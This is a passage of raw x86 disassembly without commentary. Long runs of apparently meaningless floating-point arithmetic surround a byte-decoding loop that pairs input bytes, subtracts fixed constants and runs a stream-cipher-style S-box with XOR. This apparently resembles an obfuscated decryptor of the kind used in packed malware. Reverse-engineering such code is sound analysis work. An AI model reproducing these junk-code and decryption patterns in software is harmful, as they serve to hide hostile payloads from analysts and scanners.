movsd xmm0, qword [ebp - 0xa84]
subsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xa84], xmm0
movsd xmm0, qword [ebp - 0x1dd8]
addsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0x1dd8], xmm0
movsd xmm0, qword [ebp - 0xe44]
mulsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xe44], xmm0
movsd xmm0, qword [ebp - 0xa8c]
mulsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xa8c], xmm0
movsd xmm0, qword [ebp - 0xa8c]
comisd xmm0, xmmword [ebp - 0x98c]
jbe 0x47bfad
movsd xmm0, qword [ebp - 0xe4c]
mulsd xmm0, qword [ebp - 0xa84]
movsd qword [ebp - 0xe4c], xmm0
movsd xmm0, qword [ebp - 0x98c]
subsd xmm0, qword [ebp - 0xe44]
movsd qword [ebp - 0x98c], xmm0
movsd xmm0, qword [ebp - 0x98c]
subsd xmm0, qword [ebp - 0xe44]
movsd qword [ebp - 0x98c], xmm0
movsd xmm0, qword [ebp - 0xa84]
mulsd xmm0, qword [ebp - 0xa8c]
movsd qword [ebp - 0xa84], xmm0
movsd xmm0, qword [ebp - 0xa84]
mulsd xmm0, qword [ebp - 0xa8c]
movsd qword [ebp - 0xa84], xmm0
movsd xmm0, qword [ebp - 0x98c]
mulsd xmm0, qword [ebp - 0xe44]
movsd qword [ebp - 0x98c], xmm0
mov edx, dword [ebp - 0x1f8]
add edx, 1
mov dword [ebp - 0x1f8], edx
jmp 0x47c03d
movsd xmm0, qword [ebp - 0xa84]
divsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xa84], xmm0
movsd xmm0, qword [ebp - 0xa8c]
divsd xmm0, qword [ebp - 0xe44]
movsd qword [ebp - 0xa8c], xmm0
movsd xmm0, qword [ebp - 0xa84]
subsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xa84], xmm0
movsd xmm0, qword [ebp - 0xa84]
divsd xmm0, qword [ebp - 0x98c]
movsd qword [ebp - 0xa84], xmm0
movsd xmm0, qword [ebp - 0xe4c]
divsd xmm0, qword [ebp - 0xa8c]
movsd qword [ebp - 0xe4c], xmm0
movsd xmm0, qword [ebp - 0xe4c]
mulsd xmm0, qword [ebp - 0xa8c]
movsd qword [ebp - 0xe4c], xmm0
mov eax, dword [ebp - 0x2c8]
add eax, 1
mov dword [ebp - 0x2c8], eax
movss xmm0, dword [0x582918]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [0x5828cc]
movss dword [ebp - 0x318], xmm0
movss xmm0, dword [0x581adc]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [0x582858]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [0x58281c]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [0x5827d0]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [0x5827a0]
movss dword [ebp - 0x2d4], xmm0
movss xmm0, dword [ebp - 0x2a8]
subss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x258]
mulss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x25c]
mulss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x2a8]
mulss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x258]
addss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x2a8]
mulss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x2a8]
mulss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x2d4]
comiss xmm0, dword [ebp - 0x2a8]
jbe 0x47c64a
movss xmm0, dword [ebp - 0x2d8]
subss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x318]
addss xmm0, dword [ebp - 0x2d8]
movss dword [ebp - 0x318], xmm0
movss xmm0, dword [ebp - 0x25c]
subss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x2d8]
mulss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x258]
divss xmm0, dword [ebp - 0x25c]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x2dc]
mulss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [ebp - 0x2d8]
mulss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x2a8]
subss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x25c]
addss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x258]
addss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x25c]
addss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x318]
subss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x318], xmm0
movss xmm0, dword [ebp - 0x258]
addss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x2d4]
divss xmm0, dword [ebp - 0x25c]
movss dword [ebp - 0x2d4], xmm0
movss xmm0, dword [ebp - 0x25c]
comiss xmm0, dword [ebp - 0x258]
jbe 0x47c38b
movss xmm0, dword [ebp - 0x2d4]
mulss xmm0, dword [ebp - 0x25c]
movss dword [ebp - 0x2d4], xmm0
movss xmm0, dword [ebp - 0x25c]
subss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x2a8]
addss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x318]
addss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x318], xmm0
movss xmm0, dword [ebp - 0x2a8]
subss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x2a8]
addss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x25c]
addss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x25c], xmm0
jmp 0x47c645
movss xmm0, dword [ebp - 0x2d4]
divss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x2d4], xmm0
movss xmm0, dword [ebp - 0x2dc]
divss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [ebp - 0x258]
mulss xmm0, dword [ebp - 0x25c]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x25c]
subss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x2d8]
addss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x2d8]
subss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x2a8]
divss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x318]
divss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x318], xmm0
movss xmm0, dword [ebp - 0x2d8]
subss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x25c]
divss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x258]
mulss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x258]
mulss xmm0, dword [ebp - 0x2d4]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x25c]
subss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x2d8]
mulss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x25c]
comiss xmm0, dword [ebp - 0x258]
jbe 0x47c59d
movss xmm0, dword [ebp - 0x2dc]
divss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [ebp - 0x258]
subss xmm0, dword [ebp - 0x25c]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x318]
mulss xmm0, dword [ebp - 0x2d8]
movss dword [ebp - 0x318], xmm0
movss xmm0, dword [ebp - 0x2d4]
addss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x2d4], xmm0
movss xmm0, dword [ebp - 0x2dc]
divss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [ebp - 0x25c]
divss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x2dc]
divss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2dc], xmm0
jmp 0x47c645
movss xmm0, dword [ebp - 0x2d8]
divss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x2d4]
divss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x2d4], xmm0
movss xmm0, dword [ebp - 0x2d4]
mulss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x2d4], xmm0
movss xmm0, dword [ebp - 0x25c]
divss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x258]
subss xmm0, dword [ebp - 0x25c]
movss dword [ebp - 0x258], xmm0
movss xmm0, dword [ebp - 0x25c]
subss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x25c], xmm0
movss xmm0, dword [ebp - 0x2d8]
addss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2d8], xmm0
jmp 0x47c700
movss xmm0, dword [ebp - 0x2dc]
subss xmm0, dword [ebp - 0x2d8]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [ebp - 0x2a8]
addss xmm0, dword [ebp - 0x258]
movss dword [ebp - 0x2a8], xmm0
movss xmm0, dword [ebp - 0x2d8]
subss xmm0, dword [ebp - 0x2a8]
movss dword [ebp - 0x2d8], xmm0
movss xmm0, dword [ebp - 0x2dc]
subss xmm0, dword [ebp - 0x2d8]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [ebp - 0x2dc]
addss xmm0, dword [ebp - 0x2d8]
movss dword [ebp - 0x2dc], xmm0
movss xmm0, dword [ebp - 0x318]
mulss xmm0, dword [ebp - 0x2dc]
movss dword [ebp - 0x318], xmm0
movss xmm0, dword [ebp - 0x25c]
mulss xmm0, dword [ebp - 0x318]
movss dword [ebp - 0x25c], xmm0
mov ecx, dword [ebp - 0x1f8]
shl ecx, 1
mov dword [ebp - 0x368], ecx
mov edx, dword [ebp - 0x36c]
add edx, dword [ebp - 0x368]
movzx eax, byte [edx]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x344], 0xc4
mov ecx, dword [ebp - 0x1f8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x370], edx
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x370]
movzx ecx, byte [eax]
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x34c], 0xab
mov edx, dword [ebp - 0x334]
sub edx, dword [ebp - 0x344]
mov dword [ebp - 0x350], edx
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x34c]
mov dword [ebp - 0x354], eax
mov ecx, dword [ebp - 0x350]
shl ecx, 4
mov dword [ebp - 0x374], ecx
mov edx, dword [ebp - 0x354]
mov dword [ebp - 0x378], edx
movss xmm0, dword [0x58295c]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [0x582900]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [0x5828b8]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [0x582864]
movss dword [ebp - 0x2f0], xmm0
movss xmm0, dword [0x58280c]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [0x5827b0]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x284]
mulss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [ebp - 0x2ac]
mulss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x268]
addss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x2ac]
subss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x284]
mulss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [ebp - 0x284]
subss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [ebp - 0x2b4]
comiss xmm0, dword [ebp - 0x284]
jbe 0x47ccbb
movss xmm0, dword [ebp - 0x2ac]
mulss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x268]
subss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x2b4]
mulss xmm0, dword [ebp - 0x314]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x314]
mulss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [ebp - 0x314]
mulss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [ebp - 0x314]
divss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [ebp - 0x2ac]
addss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x2b4]
mulss xmm0, dword [ebp - 0x314]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x2b4]
addss xmm0, dword [ebp - 0x314]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x268]
divss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x268]
addss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x2ac]
mulss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x2b4]
comiss xmm0, dword [ebp - 0x314]
jbe 0x47cc26
movss xmm0, dword [ebp - 0x268]
mulss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x284]
divss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [ebp - 0x2ac]
addss xmm0, dword [ebp - 0x314]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x2b4]
subss xmm0, dword [ebp - 0x2ac]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x2f0]
divss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x2f0], xmm0
movss xmm0, dword [ebp - 0x2f0]
mulss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x2f0], xmm0
movss xmm0, dword [ebp - 0x268]
addss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x2ac]
addss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x2ac]
mulss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x2f0]
addss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x2f0], xmm0
movss xmm0, dword [ebp - 0x2f0]
divss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x2f0], xmm0
movss xmm0, dword [ebp - 0x314]
subss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [ebp - 0x2ac]
comiss xmm0, dword [ebp - 0x284]
jbe 0x47cb91
movss xmm0, dword [ebp - 0x268]
mulss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x2ac]
divss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x2ac]
addss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x268]
divss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x314]
subss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [ebp - 0x314]
mulss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x314], xmm0
jmp 0x47cc21
movss xmm0, dword [ebp - 0x284]
addss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [ebp - 0x2f0]
addss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x2f0], xmm0
movss xmm0, dword [ebp - 0x2f0]
subss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x2f0], xmm0
movss xmm0, dword [ebp - 0x268]
addss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x2b4]
subss xmm0, dword [ebp - 0x2ac]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x2f0]
mulss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x2f0], xmm0
jmp 0x47ccb6
movss xmm0, dword [ebp - 0x2b4]
subss xmm0, dword [ebp - 0x314]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x314]
addss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [ebp - 0x284]
subss xmm0, dword [ebp - 0x2ac]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [ebp - 0x2ac]
mulss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x268]
divss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x268]
mulss xmm0, dword [ebp - 0x284]
movss dword [ebp - 0x268], xmm0
jmp 0x47cd5d
movss xmm0, dword [ebp - 0x2ac]
addss xmm0, dword [ebp - 0x314]
movss dword [ebp - 0x2ac], xmm0
movss xmm0, dword [ebp - 0x2b4]
addss xmm0, dword [ebp - 0x2ac]
movss dword [ebp - 0x2b4], xmm0
movss xmm0, dword [ebp - 0x284]
mulss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x284], xmm0
movss xmm0, dword [ebp - 0x314]
addss xmm0, dword [ebp - 0x268]
movss dword [ebp - 0x314], xmm0
movss xmm0, dword [ebp - 0x268]
mulss xmm0, dword [ebp - 0x2f0]
movss dword [ebp - 0x268], xmm0
movss xmm0, dword [ebp - 0x284]
subss xmm0, dword [ebp - 0x2b4]
movss dword [ebp - 0x284], xmm0
mov eax, dword [ebp - 0x374]
or eax, dword [ebp - 0x378]
mov dword [ebp - 0x37c], eax
mov cl, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], cl
movzx edx, byte [ebp - 0x1a1]
mov al, byte [ebp + edx - 0xf4c]
mov byte [ebp - 0x1b1], al
movzx ecx, byte [ebp - 0x18d]
movzx edx, byte [ebp + ecx - 0xf4c]
mov dword [ebp - 0x19fc], edx
mov al, byte [ebp - 0x18d]
add al, 1
mov byte [ebp - 0x18d], al
movzx ecx, byte [ebp - 0x191]
add ecx, dword [ebp - 0x19fc]
mov byte [ebp - 0x191], cl
movzx edx, byte [ebp - 0x191]
movzx eax, byte [ebp - 0x1a1]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x192]
movzx eax, byte [ebp - 0x191]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x18d]
movzx eax, byte [ebp - 0x192]
mov cl, byte [ebp + edx - 0xf4c]
mov byte [ebp + eax - 0xf4c], cl
movzx edx, byte [ebp - 0x18d]
mov al, byte [ebp - 0x1b1]
mov byte [ebp + edx - 0xf4c], al
movzx ecx, byte [ebp - 0x1b1]
movzx edx, byte [ebp + ecx - 0xf4c]
movzx eax, byte [ebp - 0x1b2]
add eax, edx
mov byte [ebp - 0x1b2], al
movzx ecx, byte [ebp - 0x1b3]
movzx edx, byte [ebp - 0x191]
movzx eax, byte [ebp + edx - 0xf4c]
movzx edx, byte [ebp - 0x18d]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0xf4c]
xor ecx, eax
movzx edx, byte [ebp - 0x192]
movzx eax, byte [ebp + edx - 0xf4c]
movzx edx, byte [ebp - 0x1a1]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
movzx edx, byte [ebp - 0x1b2]
movzx edx, byte [ebp + edx - 0xf4c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0xf4c]
movzx edx, byte [ebp + eax - 0xf4c]
xor ecx, edx
mov byte [ebp - 0x192], cl
mov al, byte [ebp - 0x1b3]
mov byte [ebp - 0x1a1], al
movsd xmm0, qword [0x5826d0]
movsd qword [ebp - 0x8e8], xmm0
movsd xmm0, qword [0x582620]
movsd qword [ebp - 0xb74], xmm0
movsd xmm0, qword [0x582500]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [0x5823f0]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [0x5822d0]
movsd qword [ebp - 0xa30], xmm0
movsd xmm0, qword [0x580f20]
movsd qword [ebp - 0x7f4], xmm0
movsd xmm0, qword [ebp - 0x71c]
mulsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x724]
subsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x8e8]
subsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x8e8], xmm0
movsd xmm0, qword [ebp - 0x724]
addsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x71c]
subsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x724]
mulsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x7f4]
comisd xmm0, xmmword [ebp - 0x724]
jbe 0x47d22f
movsd xmm0, qword [ebp - 0x724]
addsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x71c]
mulsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x724]
mulsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x7f4]
subsd xmm0, qword [ebp - 0xb74]
movsd qword [ebp - 0x7f4], xmm0
movsd xmm0, qword [ebp - 0x724]
addsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x71c]
divsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x71c]
subsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x7f4]
mulsd xmm0, qword [ebp - 0x8e8]
movsd qword [ebp - 0x7f4], xmm0
movsd xmm0, qword [ebp - 0x71c]
divsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x71c]
subsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0xa30]
subsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0xa30], xmm0
movsd xmm0, qword [ebp - 0x8e8]
divsd xmm0, qword [ebp - 0xb74]
movsd qword [ebp - 0x8e8], xmm0
movsd xmm0, qword [ebp - 0xa30]
comisd xmm0, xmmword [ebp - 0x724]
jbe 0x47d19a
movsd xmm0, qword [ebp - 0x71c]
divsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x724]
divsd xmm0, qword [ebp - 0x71c]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x724]
subsd xmm0, qword [ebp - 0x71c]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x8e8]
subsd xmm0, qword [ebp - 0xb74]
movsd qword [ebp - 0x8e8], xmm0
movsd xmm0, qword [ebp - 0x8e8]
mulsd xmm0, qword [ebp - 0xb74]
movsd qword [ebp - 0x8e8], xmm0
movsd xmm0, qword [ebp - 0x71c]
mulsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x71c], xmm0
jmp 0x47d22a
movsd xmm0, qword [ebp - 0x724]
mulsd xmm0, qword [ebp - 0x71c]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x724]
divsd xmm0, qword [ebp - 0x71c]
movsd qword [ebp - 0x724], xmm0
movsd xmm0, qword [ebp - 0x7f4]
addsd xmm0, qword [ebp - 0x8e8]
movsd qword [ebp - 0x7f4], xmm0
movsd xmm0, qword [ebp - 0xb74]
divsd xmm0, qword [ebp - 0x724]
movsd qword [ebp - 0xb74], xmm0
movsd xmm0, qword [ebp - 0x71c]
subsd xmm0, qword [ebp - 0xa30]
movsd qword [ebp - 0x71c], xmm0
movsd xmm0, qword [ebp - 0x7f4]
mulsd xmm0, qword [ebp - 0x8e8]
movsd qword [ebp - 0x7f4], xmm0
jmp 0x47d2cb
movsd xmm0, qword [ebp - 0x8e8]
addsd xmm0, qword [ebp - 0xb74]
movsd qword [ebp - 0x8e8], xmm0
movsd xmm0, qword [ebp - 0xa30]
addsd xmm0, qword [ebp - 0x7f4]
movsd qword [ebp - 0xa30], xmm0
movsd xmm0, qword [ebp - 0x7f4]
addsd xmm0, qword [ebp - 0x8e8]
movsd qword [ebp - 0x7f4], xmm0
movsd xmm0, qword [ebp - 0xb74]
addsd xmm0, qword [ebp - 0x724]
movsd qword [ebp - 0xb74], xmm0
movsd xmm0, qword [ebp - 0x8e8]
subsd xmm0, qword [ebp - 0xb74]
movsd qword [ebp - 0x8e8], xmm0
movsd xmm0, qword [ebp - 0x8e8]
addsd xmm0, qword [ebp - 0xb74]
movsd qword [ebp - 0x8e8], xmm0
mov cl, byte [ebp - 0x192]
mov byte [ebp - 0x1db], cl
cmp dword [ebp - 0x1f8], 0
jle 0x47d2ea
movsx dx, byte [ebp - 0x1db]
mov eax, dword [ebp - 0x1f8]
mov word [ebp + eax*2 - 0xc6], dx
mov ecx, dword [ebp - 0x2c8]
add ecx, 2
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x1f8]
add edx, 1
mov dword [ebp - 0xd94], edx
jmp 0x47d319
mov eax, dword [ebp - 0xd94]
add eax, 1
mov dword [ebp - 0xd94], eax
mov ecx, dword [ebp - 0xd94]
cmp ecx, dword [ebp - 0x2c8]
jge 0x47d586
mov edx, dword [ebp - 0x1f8]
add edx, 1
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1f8]
shl eax, 1
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x368]
movzx edx, byte [ecx]
mov dword [ebp - 0x334], edx
mov dword [ebp - 0x344], 0xc4
mov eax, dword [ebp - 0x1f8]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x36c]
add edx, dword [ebp - 0x370]
movzx eax, byte [edx]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x34c], 0xab
mov ecx, dword [ebp - 0x334]
sub ecx, dword [ebp - 0x344]
mov dword [ebp - 0x350], ecx
mov edx, dword [ebp - 0x348]
sub edx, dword [ebp - 0x34c]
mov dword [ebp - 0x354], edx
mov eax, dword [ebp - 0x350]
shl eax, 4
mov dword [ebp - 0x374], eax
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x378], ecx
mov edx, dword [ebp - 0x374]
or edx, dword [ebp - 0x378]
mov dword [ebp - 0x37c], edx
mov al, byte [ebp - 0x37c]
mov byte [ebp - 0x1b3], al
movzx ecx, byte [ebp - 0x1a1]
mov dl, byte [ebp + ecx - 0xf4c]
mov byte [ebp - 0x1b1], dl
movzx eax, byte [ebp - 0x18d]
movzx ecx, byte [ebp + eax - 0xf4c]
mov dword [ebp - 0x1a00], ecx
mov dl, byte [ebp - 0x18d]
add dl, 1
mov byte [ebp - 0x18d], dl
movzx eax, byte [ebp - 0x191]
add eax, dword [ebp - 0x1a00]
mov byte [ebp - 0x191], al
movzx ecx, byte [ebp - 0x191]
movzx edx, byte [ebp - 0x1a1]
mov al, byte [ebp + ecx - 0xf4c]
